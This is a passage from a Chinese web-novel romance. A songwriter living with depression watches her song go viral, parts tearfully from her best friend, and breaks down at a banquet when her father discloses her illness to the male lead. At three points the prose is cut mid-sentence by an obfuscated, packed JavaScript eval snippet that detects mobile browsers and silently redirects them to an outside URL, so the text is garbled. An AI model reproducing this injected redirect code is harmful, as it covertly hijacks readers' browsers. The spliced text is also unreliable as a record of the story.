所以,除了辛穗,代澜比谁都欣慰,能看见《指尖恋人》冉冉升起,好友的心意会被大家看见,也希望会被王施闻看见,他们作为粉丝赤诚的爱。 她继续往下刷,营销号比想象中还要灵敏,也是他们将话题带上热搜,但出乎代澜意料的是《指尖恋人》呈现出的出圈趋势。 本以为影响范围最多是王施闻的粉圈,但随着热度上升,直至热搜第四,越来越多其他明星的粉丝涌到实时广场上参与讨论。 “我宣布《指尖恋人》为粉圈国歌谁有意见?没意见的呼吸!(墨镜)(墨镜)” “摸不到亲不到,只能隔着屏幕,好不容易追次线下还要长途跋涉,谁哭了我不说。” 配图是《指尖恋人》发布在云朵音乐的歌词截图:“指尖吻我的脸,沉溺瞬间,妄图捕捉,碎影只会随风翩跹。” “靠,这首歌质量好高,真的不是歌手工作室什么的出品吗?看了眼制作人名单,除了作词居然全是一个人弄的,真的假的,你们‘诗人’(王施闻粉丝名)都这么全能吗?” 紧跟着是ID明显带王施闻隐喻的粉丝在评论区蹦跶:“不不!亲,小狗教主是真神人,但是那位BLUESTORY老师我们不清楚焚寂不敢乱说的滴!” 没想到他们还挺严谨。 代澜不自觉带笑,手指继续下滑。 “什么鬼,我为什么要点进这个热搜,听了以后就老想把我和阿欹代入进去,感觉心脏破了个大窟窿……(附抢救表情包)” 她微愣,才反应过来阿欹说的是市面上一款热门乙游的男主之一。 回忆自己作的词,似乎将纸片人代入情景中适配度竟也拉满……再往下刷果然看见许多纸片人或是动漫人物的粉丝在疯狂扣1。 《指尖恋人》仿佛正踩中了千万人对于无法触碰爱人的心,曲子中的力量似乎以代澜无法估量的速度飞快传播,并挑起情感中隐秘的部分使之共鸣。 她从未料想过这种效应,也不知这首歌究竟会将她推向何处,成为什么契机。 只是窝在被子里,窗帘隔断光明而昏暗饱满,将代澜紧紧包裹,望不见这一瞬间似乎是有许多斑点光芒朝她汇聚而来。 那是广场上实时弹出一条又一条的赞叹,麻木的心脏似乎感应到持久而深切的情感。 唯有渐渐被抖落的积雪遗留。 - 年前三日,代澜和辛穗终于见了一面。 两人一见面就互相吹捧,连连调侃对方的才华横溢,聊得主题自然以这首新歌为主。 这几天《指尖恋人》的效应似乎越发绵长,虽然热搜下去了,但这首歌竟然开始了霸各类音乐软件热度榜之旅。 不仅如此,各路剪辑大大也开始动工,纷纷以《指尖恋人》作为BGM二创,代入各类明星纸片人等视频。 甚至因为歌曲本身即为无法触碰的爱恋为主题,更是给拉郎配提供了绝妙温床。 一时间各路人马捧着自家太太做的饭喜不胜收。 代澜在K站上甚至刷到了何子游版的《指尖恋人》。 只是他节目之外的性格实在太张扬恣意,经过太太的巧妙剪辑,更是营造出一种先喜后悲的BE感,看得她也忍不住掉了几滴眼泪,退出时还顺手投了币。 不过要按下分享键发给本人看她是不敢的,犹犹豫豫最终还是放弃。 幸亏“敬老院神秘组织”里胆大的成员大有人在,昨晚宋汝然就把视频转发到了群里,还艾特了正主亲自观看并要求做观后感,可惜何子游似乎忙得连手机都不看,直接失联了。 “那他到现在都还没回复?”辛穗问这话时刚好弯腰系鞋带,代澜顺手为好友接过奶茶杯和小羊绒包包,十二年好友默契得不像话。 “还没。”她答得笃定,因为就在她们逛街买刮刮乐时,代澜刚好看见徐扬帆又艾特了一次何子游,依然没有回音。 系鞋带的人有些失望,挺直腰跺跺脚的同时道:“我还想着叫你帮忙问问他这歌怎么样呢。” “啊?我怎么敢……”代澜可是真慌,她是不论如何都不敢向第三个人透露自己就是BLUESTORY。 见识过王施闻成名又陨落,最后又风评好转,自己虽不是他的粉丝,可舆论的力量可见一斑。 虽然现在人人都夸这首歌好,可如果日后有什么意外情况,再想想现在自己这个情况……代澜光是想到都抖三抖,不敢赌不敢赌…… “嗐,你真当我不知道你呀,”辛穗人长得高,一米七的个子简直是行走的衣架子,肩膀轻碰代澜,对视便是心知肚明的感慨,“开玩笑的!” 过年前难得的好天,夕阳斜下让灿橙色铺撒在城市车水马龙之间,代澜深呼吸,为此刻而惬意。 两人终于走到了告别的公交站台。 “我车来了。”辛穗探头望向左侧,为纪念《指尖恋人》发布,特意在那天染的发尾在落日下镀金,回眸时恰好被阳光笼罩,那眼底的璀璨便传递到代澜怀里。 公交车还有百米到达。 代澜被她搂得很紧,让陪伴暖意再弥留久些,声音从耳靠的胸腔传出。 “宝,你去录节目千万不要委屈了自己,和他们好好相处,你也自信点,顺顺利利拍摄完,咱们很快就又见面了。” “好,好……”代澜不擅长应付离别,也不愿多说话,生怕自己哭出来。 辛穗是她唯一一个能聊到心里去的朋友,也是唯一一个知道她所有过往的朋友。 或许于她而言,她的份量是比父母还重的。 所以更加不舍。 可人只要长大,分离的事渐渐就多了起来,她一己之力怎么能留住所有呢? 回家的路都不一样,又怎么能求殊途同归。 这一瞬想哭的情绪过去了,眼泪也就咽下了。 “拜拜。” 代澜久久挥手,笑着望好友扫码,上了车。 公交车缓缓起步,她看见辛穗以掩耳不及迅雷之势大跨步冲到车窗旁的位子上坐下,飞快掏出手机贴近车窗。 眼睛微微瞪大,辛穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266416|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机上写着硕大的,被做成LED样式的三个字:不要哭! 七彩光绚烂抢眼,贴近车窗的那位现眼包一边笑着挥手,一边被公交车载着朝夕阳的方向远去。 知道她会哭,所以要逗她笑。 可恶…… 代澜的眼泪就这么徘徊在眼眶,她这位好友贴心又可爱,一时笑也不是哭也不是,手背急忙擦去,又压低鸭舌帽。 有路人也瞧见这幕,目光都被引去,眼神在代澜和公交车之间来回转,栏杆旁一挨着的大婶更是忍俊不禁,叹着“诶呦这些小姑娘……”,惹得代澜尴尬得连忙逃开,直往地铁站钻。 - 其实现在刚傍晚五点半过,坐地铁到家也不急。 地铁站下来经过便利店,香味弥漫,代澜有些犯馋瘾。 要不要买点吃的回家? 她隔着玻璃窗驻足,食物色香蛊惑。 纠结半晌,算了,代澜捏紧了奶茶杯,父亲代敬身体不好,吃东西忌口,要是买回去不能开小灶的话,也不能让他光看着。 脚尖转向地铁闸机,兜里的手机忽然传出声响。 “喂?” 是母亲谈雪梅的电话:“澜澜,你在哪里?” 她预感不太好,但还是老实回答:“地铁站,准备回家了。” 那边窸窸窣窣,过了几秒才道出正事:“你到哪个口了?我们出去吃饭。” 一时语塞,她正要开口,忽地便利店有人出门,玻璃门上钩着的铃铛碎响把她吓一跳,急急往角落退。 “喂?澜澜?” “嗯,我在。”她咬着唇上死皮,身子不敢动。 “哦……你跟我们去吃饭吧。” “我不想,我要回家。”代澜拒绝得坚决,奶茶杯放进袋里,左手得空将鸭舌帽在脑袋上摁实,边说就要往地铁闸机去。 她要回家,疲于应付那些叔叔阿姨之间的人情往来,也厌恶戴着面具的感觉,让人窒息。 那边还不放弃:“你就跟我们去吧,是厂子的五十周年庆,是以前一起住大院的叔叔阿姨呀。” 谈雪梅见代澜不说话,尝试从情相劝:“你该不会忘了那些叔叔阿姨了吧?我都跟他们说了,‘前几天澜澜回家咯’,然后你何伯伯还说:‘好久不见澜澜了,一起出来吃个饭’。” “何伯伯?”一直梗着发紧的脖子有些卸力。 “就是何子游啊,你何伯伯和阿姨知道哥哥和你录节目,都说想见见你,他们还没忘你十年前救何子游的事呢。” “那怎么会忘……”唇齿微动,代澜轻念。 原本听见如旧时那般强求她出门社交而浑身竖起的刺,在回忆起何子游父母,来自何忠治和廖书筠对她的关心时,微微收敛。 何忠治和廖书筠确实是难得的好人。 属于那场火灾的记忆飞速闪过脑海,却因紧绷的状态无法留下太多痕迹,得到的只有蹿擦后所剩无几的碎片。 代澜深呼吸,调整内心被握紧的部分,努力将应激抚平,斟酌再斟酌。 直到察觉紧握着手机的手发痛,她才给出答案。 “好,那我去。” 36. 绀宇 代澜坐上车后座,习惯性将头靠在车枕和车门之间。 车子开动,驶上高架桥后,城市夜色流连倒映瞳孔中。 “待会儿见到叔叔阿姨记得主动叫人啊,这么多年不见……”父亲代敬掌控方向盘,趁空从后视镜轻瞥一眼女儿,看不出什么情绪。 母亲谈雪梅边笑又叹:“你看你又来了,操心什么,澜澜都长大了,怎么会不知道打招呼呢?” 说罢又侧头,与代敬相同,视线从后视镜与代澜的对上:“澜澜你说是吧,你爸就当你是小孩子。” 她眼皮半垂,躲开这句责任。 他们一家人很奇怪,明明谁都知道这种奇怪的问题是来自什么,可谁也不愿拆穿。 代澜只感觉有些荒谬,半张脸沉入途经隧道时的黑暗里,露出可悲的笑容。 妈妈“看不见”,爸爸也是。 他们都在刻意回避自己女儿生病后的痛苦,竭力装作无事发生。 比如无视她去年病到不愿出房门,在客人来时将她从床上撬起。 结局是自己见了人连话都说不出半句,刘海似有形铠甲,早厚得遮住眼,迟钝得连在场人的尴尬都看不清,匆匆回房后又吐了两回。 比如无视刚复诊完医生让在家休息的建议,隔天就语重心长地在客厅沙发上作出叫她在小区门口找份工作的审判。 那句“好歹赚点药钱”从与自己几分相似的嘴脸里道出的同时,就如同一座五指山试图镇住她的灵魂。 走到最后,这个压抑的矩阵代澜已无路可去,唯有一个“逃”字才是真谛。 没告诉父母,先斩后奏,带上攒的所有零花钱,奔波到离家几百公里外的小镇,又回到实习过的岗位,也算满足了他们要自己挣钱的期待。 只是没想到这条用来逃避的路竟是开启另一个世界的钥匙罢了…… 沉默的“交锋”中,灰黑与橙黄的光纷然相应,将车厢填充得满当,代澜的神思飞得有些远,等再回神,车子已然驶入地下一层的停车场。 明珠酒店,市里的老牌酒店。 记得五六岁时每每坐着母亲的摩托车路过,望着当时是兰市标志物,建筑顶部闪耀的巨型“明珠”,可好奇里面的结构。 后来十几岁时才因为亲戚家吃喜酒进了一次,不过那时候离它“盛世”已过去多年,里面的装潢较于从前显得有些老旧或是落伍,但依旧能见识到曾经辉煌。 与装修相对应的是名气,代澜眼看着它渐渐赶不上后起的餐饮业,却也始终有成长的感情在。 “还真是好久没来明珠了。” “叮”地一声响,代敬先走进电梯,用车钥匙顺手戳亮楼层数再揣兜里继续道:“听说去年换了老板,把整栋楼都翻新了……” 代澜将自己塞进电梯一角,被擦得噌亮的厢体倒映她的模样。 刘海有些凌乱,她伸手捋顺,因着今天是和辛穗出来逛街,稍微化了个妆。 脸颊被车里暖气熏得红扑扑,免了腮红,唇膏早被奶茶吸管夺去大半,余下也被自己焦虑地咬唇吞进肚子…… 算了。 她耸肩让大衣领口掩过半脸,不自觉又咬唇上被冷风风干的死皮。 补了跟没补一样丑。 “是吗?这楼挺久了,还翻新干什么,推了重盖不更好?”照镜间隙,听谈雪梅不以为然。 再抬眸,父亲抻了抻因搭在汽车后座而发皱的衣袖,瞅眼电梯层数:“谁知道呢,老乔说新老板是个二世祖,人家有钱愿意折腾……” “不过再弄不也是这样,现在餐饮不好做,能赚回来本都偷笑啦。” 似乎是从明珠新老板是个年轻人联想到自家这个“没出息”的女儿,他忽然拐了个弯:“啧,录完节目就回家吧。” 代澜心底烦躁,还在埋怨开始答应了要过来,忽然被叫到也不知代敬又要说些什么不中听的话,只张了张嘴简洁答:“不回。” 声线很低,又因为许久没开口说话而添些沙哑,男人侧目蹙眉:“怎么能不……” 后半句猛地刹车,代澜余光飞快瞥一眼,是谈雪梅肩膀轻轻撞了下男人,但他似乎还未彻底放弃。 咽了口水,果然代敬话锋一转,语气试图和缓:“那你打算什么时候回来?” 她哪里还想把多余的耐性留给父亲,把视线别在电梯墙上滚动的广告上,手指抠着裤边凸出的商标。 那熟悉的,被管束的感觉太压抑,想要回避,可在这狭窄的电梯厢里也无法。 好想回家。 见女儿不语,代敬又“啧”一声,刚想发作,谁知下一秒电梯就“叮”地打断了他。 说笑热闹与独属餐厅的香气随门开启扑面而来,目光轻而易举被牵引去。 服务员集中路两侧,热情招呼让代敬说教的话被噎住再噎住,最终只能化成客套,而代澜巴不得父亲闭嘴,跟在最后头才有了一阵子歇息。 刚上电梯时就叹过重修后的简约风舒适,如今抵达楼层看酒店大堂更是。 没有先前那么金碧辉煌,简约奢华更符合当下审美,但在紧要处依旧保留了旧日芳华,让现代与旧时审美融合交错。 一些明珠酒店当年兴盛的标志物还被单独拎出来,当成装饰品放在玻璃柜里展览。 大厅嘈杂,代澜经过时还是感觉不自在,收起目光低头快步走过,更怕遇见熟人,心跳总是很快。 一直到包厢区,她才后知后觉肩膀紧绷得厉害,焦虑占了上风,不得不早早思忖何时是离开的最佳时机。 拐过几道弯,在现代与古香交融的装潢之后,服务员终于将他们领到某个分叉口处,代澜眼见走廊尽头那扇双开木门被缓缓打开,名为“玫瑰间”的包厢里一连串出来好几个伯伯叔叔,似乎是准备迎客。 有人眼尖率先发现他们:“诶,代哥!代哥来了。” 代澜看着代敬迎上去,与最中间那位两手相握的瞬间,肩膀也碰上对方的:“焦天英,好久不见哦!” 被称为焦天英的胖伯伯和代敬拥了个结实,一笑脸上就起褶子:“好久不见啊,这都快五六……八年了哦!” “谁叫你出国啊,出去了就把兄弟几个全忘了,回来也不给我们带点手信……”调侃的人正是方才代敬话语中提及的老乔,乔起山。 老友集合将代敬的心思都转移,代澜低着头跟在谈雪梅身后,不知该怎么插嘴打那声叮嘱过的招呼,不想磨到最后还是让代敬“特意提醒”。 “澜澜,还记不记得这几个叔叔啊。” 父亲的笑恍惚和那天被“督促”着招呼客人重叠。 代澜的眼神落在他微有胡茬的嘴唇上,仿佛能看见打不出招呼的下场,是不是又一声“啧”。 好难捱。 怎么就这么难。 她是想笑的,可嘴角却是像抽筋一样难以维持,只能露出一个不尴不尬的笑。 揣在兜里右手大拇指的倒刺越往后撕越疼。 “叔叔们好。” 最终还是说出来了。 衣领遮住她停不下来的吞咽动作,四个字说出口心脏似瘪气。 但值得庆幸的是,她的伪装顶住了。 “诶,小澜?居然都这么大了!”焦天奇惊叹。 乔起山接茬,比起其他几位,确实属他和代敬接触得多,也更知道代澜的成长:“可不是吗,大闺女了,今年都……” “二十四。”或许只有谈雪梅和代澜发觉了代敬松了口气,男人笑得明显比前面更开怀,回头与兄弟们接着畅聊。 在场几人寒暄几回,好像谁都满意。 代澜的笑也满意,只不过快要皲裂,杵在墙边,剩口袋里手指绞着布料难放。 终于等到进门,找到一家人的位置坐下,她的喉咙被热茶安抚,才有舒缓的趋势。 这个包厢很大,足有六围桌子,几扇屏风贴心分隔,又不至于将所有人划清界限,熟人与熟人之间方便来往。 他们家坐的桌子比其他桌小了一圈,谈雪梅同隔壁桌的前同事们聊得欢,代敬更是不知去了哪里。 还以为至少能有几个年轻人…… ……不过没有也好。 代澜乐得在这种社交场合减弱自己的存在感,坐在原位只顾低头玩手机,充当一个听话的陪衬。 “澜澜,澜澜,快打招呼呀!” 她戴着耳机,还沉浸辛穗刚给她转发的《指尖恋人》二创视频,忽地就被晃了几下肩膀,下意识先将手机翻面,却因身子受惊猛地一抖,混乱间脱手摔在膝上,蓝牙耳机更是甩掉一只。 “啊……耳机……” 代澜一手撩开垂至膝上的桌布,耳机就是她的命! 可正要弯腰寻找,另一只手却拦住她欲拢低的腰,是谈雪梅阻止:“先打招呼呀,耳机丢不了,等等捡……” 温言好语,却足以将代澜的耳道剌出一道口子。 打招呼打招呼,礼貌礼貌,她快要变成蒸笼里的包子,上也不是下也不是。 她心烦气躁,正想敷衍了事,可一回头却见熟悉面孔。 男人面容温和,野生眉和那双眼与何子游如出一辙,但更多沉稳气质。 女人肤白,鼻梁高挺同何子游的尤为相似,但更显温婉。 数年未见面,何忠治和廖书筠多了银发,代澜还是即刻反应过来是谁。 不过当下气氛稍微凝固,满肚子的脾气被泄了半桶。 久别再重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317866|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢,虽然时机似乎卡得有些尴尬。 谈雪梅一手先揽在代澜的肩轻拍,试图打圆场:“澜澜……” 回应她的是代澜僵硬地扶着椅背缓缓起身:“何叔叔廖阿姨好。” 何忠治笑着点头算作回应,而廖书筠的笑颜绽开更是让人如沐春风:“好久不见呀澜澜。” “来这边坐吧……”母亲顺势招呼,代澜还未从这突发状况中回神,愣愣地不改面向,突然又有一人从侧面轻拍她肩膀,匆匆又转身,却见意料之外的人出现在这里。 她不由得怔住,方才还比较面容中出现在脑海,瞬时本人就到来。 一身黑对他来说着实低调,何子游戴着黑色口罩,只露出双意气风发的笑眼,捕捉到代澜惊讶神情似乎很是得意,隔着布料的声音难免朦胧。 “你伸手。”声似雾里摇铃清明。 “啊?”她照例没反应过来,只听无奈轻笑飘飘然路过,男人就借错身而过的功夫将手里什么东西嵌入她耳中—— “Mylover, 指尖吻我的脸, 沉溺瞬间, 妄图捕捉,碎影只会随风翩跹。” 他的身影和脚步踩着《指尖恋人》的旋律囿于耳畔同眼眸之间。 似一阵风,还捎来淡淡香气,目光就不自觉追寻背影,企图这缕若有似无停留得再久些。 ……怎么穗穗唱得有点怪?耳机摔坏了? 她眼神微闪,下意识先抚上被灼热指腹蹭过的耳尖,再移位才是该摸的耳机。 代澜忽地觉得不自在,好像碰到静电,迟钝地抖抖,让不知哪门子跑调的情绪回归正题,最后才落座。 “喏,给你的。”刚一坐下,何子游便将面前桌上叠起的三个木盒子推到代澜面前,另一手顾着解口罩。 而后者检查完耳机好坏放回耳机仓才安心留意被推来的东西。 清泉糕点? 她被这几盒小小的糕点惊得有点懵,反复确认木盒上雕刻的繁体字。 这可是兰市最好的糕点坊,他们家的糕点制作工艺复杂耗时久,口感特殊,吃过难忘,每天限量制作不超五十盒,傍晚五点到五点半出炉。 纵使价格昂贵,也依旧受到人们狂热追捧,又因为采用的是抽签制购买,所以找黄牛都不一定能抢到一盒。 代澜上次吃还是在梦里。 她还停留在震惊余韵,何子游已脱下黑羊毛大衣,似随意对桌那侧的父母昂了昂下巴:“他们买给你的。” 那边何忠治和廖书筠边和谈雪梅以及前同事叙旧,边抽空朝她点头微笑,代澜也礼貌示意感谢。 男人坐在角落,一时还未惹人注意。 开头代澜还可惜没有年轻人,现在反而庆幸没有,要不然可免不了一阵风波。 “聊得怎么样?”代敬的声音忽地从侧后方响起。 几乎是听见瞬间的习惯性反应,原先还算高昂情绪又陷入暂且平静泥潭。 嘴角弧度克制,缓缓沉下,代澜佯装忙碌,将糕点盒暂且挪到身后一臂之外的柜子上。 提高音量,何子游礼貌补了句招呼:“叔叔好。” “诶——”代敬忽然停顿,显然也是拐过弯来顾忌对方身份。 虽然待会儿众人知道是迟早的事,但既然对方入场就没大阵仗,自然是顺着不敢高声:“怎么也来了?” 即便背对,也能感受到他逐步靠近。 代澜尝试管理好表情,回身时,代敬恰好兜过他们这侧,眼神难掩对何子游的欣赏,却也降低了音量,兴致勃勃。 两人握手,好似早认识许久,客气的话一套一套,她还是第一次听见原来何子游会这么多花样话,在长辈面前谦逊又不缺适当的“做作”。 要是能分半张嘴给我就好了…… 不过当下代澜还是听得耳朵起茧,揉揉耳垂正想重新戴耳机,却敏感捕捉到父亲一句。 “……还好有你在,要不然澜澜这个病,啧,我都放心不下……” “病?” 一个字有荒诞荒谬不可置信,讽刺到绝对。 一个字的发音末尾竟然还能跑调。 代澜确定自己的表情已经很久很久没有扭曲到这种程度,也确定眼睛瞪到最大。 像从里面伸出一只手,惊恐地抓住父亲那句缥缈玩笑里的敏感词,要追究到底。 一时不知道该问谁,“你……”“我……”地纠缠了几次,脑子真切地感受到那是完整又抽象的一团彻底的浆糊! 最后只将变形的声音压得很低很低,即便是这种情况还要讽刺地想着不打扰其他人。 “……我的隐私……为什么?” 她突然说不出话了。 37. 群青 胃里似乎圈养着一头小兽,只要丁点抑郁和焦虑诱引,就迫不及待地啮噬五脏六腑。 一瞬间竟头晕目眩,甚至余下苦笑在空空荡荡的心间捶打。 她并不是因为耻于向何子游透露自己生病而对代敬发火。 相反,代澜只把生病的事当成正常隐私看待,尽量不以此博取任何人的同情,一向主张适当时可以透露,该看病看病,该吃药吃药,该做心理咨询做心理咨询。 可她的父母又做了什么呢? 泪水难以压抑,夺眶而出,代澜唇上不经意品尝到铁腥味,不知何时又咬破旧伤。 这已经不是第一次发现父母将她的隐私告诉其他人了。 明明三番四次告诫代澜,让她不要随便和其他人透露病情的是他们,竭力无视痛苦,将她当成“正常人”的也是他们。 可为什么轮到他们自己,就变成到处和别人倾诉,说自家女儿怎么就抑郁了?问题究竟出在哪里? 再等旁人劝慰,说这一切都不是他们的问题,是环境,是他人,是女儿自己。 他们羞于面对生病的事实,羞于承认自己的责任,生怕成为他人口中没照顾好女儿的父母。 所以和他人谈了又谈,念了又念,在反复交流中渴望得到他们仍是称职父母的认可,让自己的良心能好过些…… 哪怕忘记她是一个独立的,需要被尊重的个体,只把这件事当成无可奈何的谈资,变成话语里轻飘飘的关键词,让父母操心的背叛者。 千疮百孔的过去鞭笞得自己多狠啊……她都逃了,为什么还要和别人说关于她的故事? 再卖一次惨,再奢求别人的认可吗? 呵…… 似乎脑里被雾气尽数填满,思绪在潮湿上滚出车辙,再带起泥泞,厚重的雨意便弥漫至鼻腔,涌向眼睛。 又下雨了。 这次是淅淅沥沥落在脸颊,袖口,衣角。 代澜的目光绝望地扫过代敬的面容,烫得他一抖:“怎么了?你慌什么啊?” 这语气好似是她又无理取闹。 明明是他没理,可视线朝代澜扫来时分明写着不解和厌嫌,责怪她莫名其妙泼过来的情绪。 “叔叔……”何子游心神不定,似乎比她的父亲更把她的情绪当真。 但代澜漠视何子游试图阻止代敬的动作,看他被父亲伸手半推到身后,两人又拉开距离,彻底站在对立面。 男人不甘,她也是头次看他的眉头拧得如此深,但顾忌长辈无法强硬动作,在声声劝慰中慌得很真。 也许只是她希望是真的罢了。 “诶诶,没事没事,就是闹脾气,我和她谈谈,谈完不就好了嘛。”代敬仍在坚持。 代澜别过头,回避父亲因阻挡而离她更近的距离,只顾紧紧抠住椅背的梅花纹,沿着痕迹越描摹,越刺痛。 喧闹中她的悲伤是那样的小声,和往常一样被挤压在角落,像沉默冰山只在海面露出一角,不曾潜浮便看不见伤口隐忍了多少。 喉咙被方才涌上的酸痛放过,又因呼吸实在不稳,梗得僵硬,话说得磕磕绊绊,可依旧胁迫自我语气镇定:“所以你们早……串通好了……我的事你都知道?” 前半句是对他们说的。 后半句是越过代敬的肩头,望向何子游说的。 “不是,我……”眼见她情绪崩塌之势,何子游尝试辩解,可惜在代澜摇晃的视线里,看不清男人慌乱而轻微颤抖的下唇,甚至连耳尖都赤红。 但代敬似乎只在意自己是否在晚辈面前让事态失去掌控,连失礼插嘴都顾不上:“你这孩子,这怎么能叫‘串通’?拜托照顾那肯定要说原因啊。” 仅此一句入耳,代澜便已知结局,她的肩无力沉下,窒息,再阖眼,耳畔还是来自父亲的苦口婆心。 “我还不是怕你有事……” “一个人在外面,多个人好照应呀……” …… 每一句话丢来,她的泪便“啪嗒”掉一滴。 直到一滴一滴手背终于承受不住,顺着并拢的指缝滑落膝上布料,洇出更深色的,意象的伤口证明。 “我都不知道子游没告诉你他知道……”也许是被这泪灼伤了推脱的理由,代敬还是慌了,推脱到最后穷途末路。 何子游还在身后站着呢,代敬说出口才发现不合时宜,又慌乱改口。 可惜代澜不再给他机会。 她抓起手机猛地站起来,忽视因眩晕而被减掉的几分戾气,撞开那座名为“父亲”的,执拗的山,用平生最狠的语气,咬牙在错身时平静地爆发。 “我讨厌你们。” - 代澜哪里有地方可去? 发现无路可逃时便颓败。 经不起跑出包厢后那些来往的人投来的诧异视线,周遭窃窃私语如蜂在耳畔嗡嗡狂振,一切的一切都让她如此晕眩,如同盲眼困兽在这迷宫囚笼里胡乱冲撞。 推开无意间发现的安全通道铁门时,被久久压抑的委屈如失去禁制,爆发在空无一人的楼梯间。 她几步坍塌在距离最近的阶梯上,扶着不锈钢扶手缓缓坐下,最后蜷缩在旁哭得上气不接下气。 世界安静,这里的安全通道似乎在翻新后还未来得及修理感应灯,刹那黑暗将她紧紧包裹,只剩哭泣回声。 脑袋被泪水泡得肿胀,再次盖上厚厚的水泥钢盔,闭上眼,冲出包厢的一瞬还在回放。 她听见母亲谈雪梅在身后的呼喊,还有廖书筠以及何忠治急切的询问。 她想,也许他们的争执早就被发现了,只不过旁观者不敢惊扰。 好丢脸…… 眼泪又涌出来,口袋里仅有的一包纸巾根本不够,因为太急,连外套也没带上,冻得她鼻尖都要失去知觉。 ……真的是她错了吗? 父母是为了她好,他们得知自己生病后压力也很大……她是不是不该这样苛责…… 委屈来又动摇,明明刚才还笃定划分责任,可如今又无法抗拒自我责怪,代澜的手臂死死抱住双膝,茫然中妄图寻到一份答案。 可脑袋被所有泪水淤堵,她什么也想不出来,唯独留下一条向内攻击的渠道。 既然无法责怪任何人,那便怪自己吧…… 对,就怪自己吧,这样所有人都不用受伤,就让我来抗,都怪我自己。 她每想一次,心就似被剐一刀,那份痛楚让代澜厌弃又迷恋,仿佛只要如此就能减轻罪恶,仿佛只要如此,那份答案便能浮出水面,让别人好受,也让自己好受。 可是…… 真的好痛。 她抽噎着,头沉得抵在膝上,泪水要将代澜推向深海,诱导浸入谷底,可忽然耳旁传来沉重之门被推开的声响,她突然从海里清醒,哭泣声猝然止住。 讶异于她而言的安全屋被闯入,代澜小心翼翼抬头,泪眼朦胧中试探周遭情况,却见来自门之外的光明落在她颤抖着的,泪珠弥留的眼睫之上。 逆光而来的人是谁,长时间困在黑暗里的代澜看不清,只感受到来自另个世界的不安全感。 “阿澜。” 独特声线闯入耳蜗。 是何子游。 她迟钝回神,感应背光轮廓是他的身形,这一句匆匆,颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364227|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖着,喘息着,好似在此遇见已是意外之喜。 安全通道的铁门因来人的脱手而重重掩上。 这一刻他又来到了她的世界。 但代澜不想领情。 “你走。” 鼻音已抹不去,可所有倔强和厌恶都已悉数表明。 所有的怀疑一拥而上,代澜要疯掉了,原来这段时间的脆弱在何子游面前就像小丑,她好不容易建立起来的信任轰然坍塌。 是不是从始至终我就是个笑话? 是不是从头到尾那些善解人意其实都是他俯视我的产物? 她的自尊高傲不允许任何人以怜悯染指,因而无可避免地迅速退缩。 那些曾经凿开的小洞被仓皇补上,不要虚伪的光。 她不想再相信任何人了…… “可不可以给我一分钟,”被光明刺痛后,代澜看不清何子游的脸,他的声线依旧颤抖,焦急,直奔她而来,“就一分钟。” 近乎祈求,男人出乎意料地带着和她相同的哭腔,但更隐忍,代澜的恻隐之心微动,空气依旧那么冷,冻得人发慌,长久僵持下她吸了吸鼻子,最终还是松动:“说。” 何子游似得到至高无上的赦免,一直提着的气才长长舒缓出口,他定了定神,一口气说完:“当初叔叔来找我,只告诉我你得了抑郁症和焦虑症,我不知道你经历了什么才生病。” “然后呢?” “然后……”他没料到代澜还要后续,蓦地愣住,但好在反应极快,“我承认主动靠近你有这层原因……” 代澜周身利刺骤然竖起。 “但我从来没有可怜你的意思!”何子游语速很快,呼吸却无比轻,黑暗中只有听觉灵敏,也是唯一能够感受代澜情绪的途经,他加倍谨慎。 静了几个来回,代澜降旨:“……继续。” “我没有撒谎,阿澜,”她只能听见他郑重,“我从来没有对你撒谎。” “但那时候在敬老院,我说的‘像我信任你一样信任我’,这个原因占比更大。” 他又怕当下被水泥封住的她听不懂,嚼碎了又再来,不厌其烦。 哪怕,坦白这些有些让人不好意思。 “……意思就是,我知道你遇到难关,希望能陪你度过。” “我们始终是平视的。” 这就是最终的答案。 何子游的话似镇静剂,让她暴躁的逆鳞被温柔规训,但可信度依然警惕地打个问号,可强烈的归属感不停催促她,叫她快些安稳。 可代澜还有最后一个疑问:“那为什么不告诉我你知道?” 话说出口似咄咄逼人,分明答案已在眼前,连她自己都知晓,不说就是因为害怕如今的状况出现,可她还是问了。 因为她对自己是否能撑起在何子游心中的份量没信心了。 他们的关系似乎没有这么亲近吧?在闹成这样以后还能坚持什么“陪伴”,索性将游戏全盘推翻。 事到如今,听了解释过后,代澜的逞强已在何子游面前破碎瓦解得一干二净。 她放弃了自己,沦落成无可救药的烂泥。 “因为——” 尽管放弃,可她还是无比在意,抬眸,习惯了黑暗后隐约可见他炽热的目光,冷风中明亮虔诚。 代澜忽然发现,自己低估了这个闯进她世界之人的决心。 